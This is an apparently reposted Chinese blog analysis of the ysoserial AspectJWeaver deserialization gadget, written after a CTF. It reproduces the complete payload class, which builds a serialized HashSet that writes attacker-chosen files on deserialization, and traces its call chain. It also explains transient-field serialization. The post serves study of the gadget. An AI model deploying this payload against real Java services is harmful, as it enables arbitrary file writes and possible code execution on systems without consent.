ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

认识一下ysoserial的AspectJWeaver

2021-04-13 19:34:01  阅读:477  来源: 互联网

标签:java HashMap HashSet ysoserial String 认识一下 import 序列化 AspectJWeaver


前言

AntCTFxD^3CTF 中学到了很多,参照大佬的文章也跟着分析一下ysoserial中的AspectJWeaver

基础部分

ysoserial中的AspectJWeaver : 此gadget用于写文件

Java的File类相关知识

File.separator表示目录分隔符/或者\,根据系统判断

HashSet

HashSet 实现原理简述 : HashMap是HashSet的核心,而Map添加元素需要调用put(key,value)则必须有键和值。但HashSet相当于只有键,故实现HashSet时官方使用了固定值来做value,即PRESENT。而PRESENT则是用来造一个假的value来用的。

HashSet中PRESENT和HashMap

分析 : 由下图可见HashMap成员变量使用了private修饰 ,PRESENT的注释翻译为"与后备映射中的对象相关联的虚拟值" ,

其实这里有一个疑点,为什么HashMap被transient修饰,仍会序列化呢 ? 这个问题分析在最下方给出 ~

pr

add方法源代码

分析 : HashSet添加元素调用了HashMap的put方法,PRESENT为固定值

image-20210311031506984

分析ysoserial中的payload

分析的时候加了一些注释,助于理解

package ysoserial.payloads;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;

import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

/*
Gadget chain:
HashSet.readObject()
    HashMap.put()
        HashMap.hash()
            TiedMapEntry.hashCode()
                TiedMapEntry.getValue()
                    LazyMap.get()
                        SimpleCache$StorableCachingMap.put()
                            SimpleCache$StorableCachingMap.writeToPath()
                                FileOutputStream.write()

Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="

More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
 */
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })

public class AspectJWeaver implements ObjectPayload<Serializable> {

    @Override
    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        //将文件名和内容分割
        String[] parts = command.split(";");
        //文件名在0元素
        String filename = parts[0];
        //base64编码保证文件数据不损失
        byte[] content = Base64.decodeBase64(parts[1]);
        //获取SimpleCache的内部类StoreableCachingMap的构造器
        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");

        /**
         * 生成StoreableCachingMap实例,newInstance(".", 12);
         * 第一个参数固定为 . 目的是保证文件写到当前目录
         */
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        //将文件内容映射到MapEntry里,用于调用getValue,getKey取值
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);

        //参数设置为1,此参数会影响后面的构造
        HashSet map = new HashSet(1);
        //添加一元素,在HashMap角度是添加一个键值对,也是创建第一个键值对,保证反射改值不会空指针
        map.add("foo");

        //private修饰,故通过反射获取HashSet的核心成员——hashMap
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }
        //赋予权限
        Reflections.setAccessible(f);
        //获取实例对象"map"的HashMap
        HashMap innimpl = (HashMap) f.get(map);

        //同理,此处获取HashMap的成员变量table
        Field f2 = null;
        try {
            f2 = HashMap.class.getDeclaredField("table");
        } catch (NoSuchFieldException e) {
            f2 = HashMap.class.getDeclaredField("elementData");
        }
        //授予权限
        Reflections.setAccessible(f2);
        //强转获得相应的java.util.HashMap$Node
        Object[] array = (Object[]) f2.get(innimpl);
        Object node = array[0];
        if(node == null){
            node = array[1];
        }

        //System.out.println(node.getClass());
        //反射获取key属性
        Field keyField = null;
        try{
            keyField = node.getClass().getDeclaredField("key");
        }catch(Exception e){
            keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
        }
        //授予权限
        Reflections.setAccessible(keyField);
        //最后一步,完成强行更改键值对的操作,成功生成恶意实例
        keyField.set(node, entry);
        //返回HashSet实例
        return map;

    }

    public static void main(String[] args) throws Exception {
        //新建h3zh1.txt内容为hello hack
        args = new String[]{"h3zh1.txt;aGVsbG8gaGFjawo="};

        PayloadRunner.run(AspectJWeaver.class, args);
    }
}

会发现这里用了大量的反射操作,原因如下 :

  • StoreableCachingMap不能直接操作StoreableCachingMap
  • HashSet没有暴露的方法可以直接对HashMap进行操作

链子分析

在SimpleCache内部类StoreableCachingMap.put方法处打断点

完整调用顺序如下截图:

image-20210311055349687

HashSet关键部分调用链

image-20210311040354628

HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
SimpleCache$StorableCachingMap.put()
SimpleCache$StorableCachingMap.writeToPath()
FileOutputStream.write()

其他的一些相关分析

payload中Object simpleCache = ctor.newInstance(".", 12);一句的参数为什么这样设置 ?

在SimpleCache$StorableCachingMap.writeToPath()调用中,完成了文件的读写操作,源码如下:

private String writeToPath(String key, byte[] bytes) throws IOException {
  String fullPath = this.folder + File.separator + key;
  FileOutputStream fos = new FileOutputStream(fullPath);
  fos.write(bytes);
  fos.flush();
  fos.close();
  return fullPath;
}

此处为fullPath的赋值操作

String fullPath = this.folder + File.separator + key;
  • this.folder的值是什么?

    此值和yso的payload中如下代码相关 :

Object simpleCache = ctor.newInstance(".", 12);

.表示当前目录,在调用newInstance后会触发构造函数,如下图 ,即this.folder会被设置为.

image-20210311041944734

  • File.separator基础部分已经叙述过了,为目录分隔符

  • key是要生成的文件名

综上三点所述: fullPath的值会被设置为"./h3zh1.txt",所以文件会被生成到项目目录

最下方

来解答问题,问题描述

为什么HashSet源码实现中HashMap成员被transient修饰,仍会触发序列化和反序列化 ?

刚开始我没有意识到HashMap序列化使用了transient来修饰。因为一般情况下被transient修饰的成员是不可以序列化的。但是如果重写readObject方法和writeOject方法,也可以完成序列化。

给出一个transient修饰可以反序列化的示例:

假如有个Exp类"行不更名坐不改姓",但是重写了readObject方法和writeOject方法

import java.io.*;

public class Exp implements Serializable{
  	//正常不可序列化,反序列化
    private transient String name;
    private int age ;

    public  Exp(int age , String name){
        this.age = age;
        this.name = name;
    }
    //重写——强行序列化
    private void writeObject(java.io.ObjectOutputStream s)
        throws java.io.IOException{
        s.defaultWriteObject();
        //不想强制序列化name可注释下一行
        s.writeObject(this.name);
    }
    //重写——强行反序列化
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        //不想强制反序列化name可注释下一行
        this.name = (String) s.readObject();
    }

    @Override
    public String toString() {
        return "Exp{" +
            "name='" + name + '\'' +
            ", age=" + age +
            '}';
    }

    //序列化函数
    public static void serialize(Object obj) throws IOException {
        FileOutputStream fileInputStream = new FileOutputStream("hello.class");
        ObjectOutputStream oos = new ObjectOutputStream(fileInputStream);
        oos.writeObject(obj);
        oos.close();
    }
    //反序列化
    public static Object  unserialize() throws Exception{
        FileInputStream fileInputStream = new FileInputStream("hello.class");
        ObjectInputStream ois = new ObjectInputStream(fileInputStream);
        return ois.readObject();
    }

    public static void main(String[] args) throws Exception {
        Exp exp = new Exp(18,"katherine");
        System.out.println("初始:"+exp);
        serialize(exp);
        Exp newExp = (Exp)unserialize();
        System.out.println("序列化后:"+newExp);
    }
}

image-20210311053159585

那么推理到HashSet类

来HashSet的readObject重写部分甚至给了注释"Read in all elements" :

image-20210311053642656

同样去找一下HashSet的writeObject方法 :

image-20210311053915104

原来,你们早就在这里了……

文章参考 :

标签:java,HashMap,HashSet,ysoserial,String,认识一下,import,序列化,AspectJWeaver
来源: https://www.cnblogs.com/h3zh1/p/14654870.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有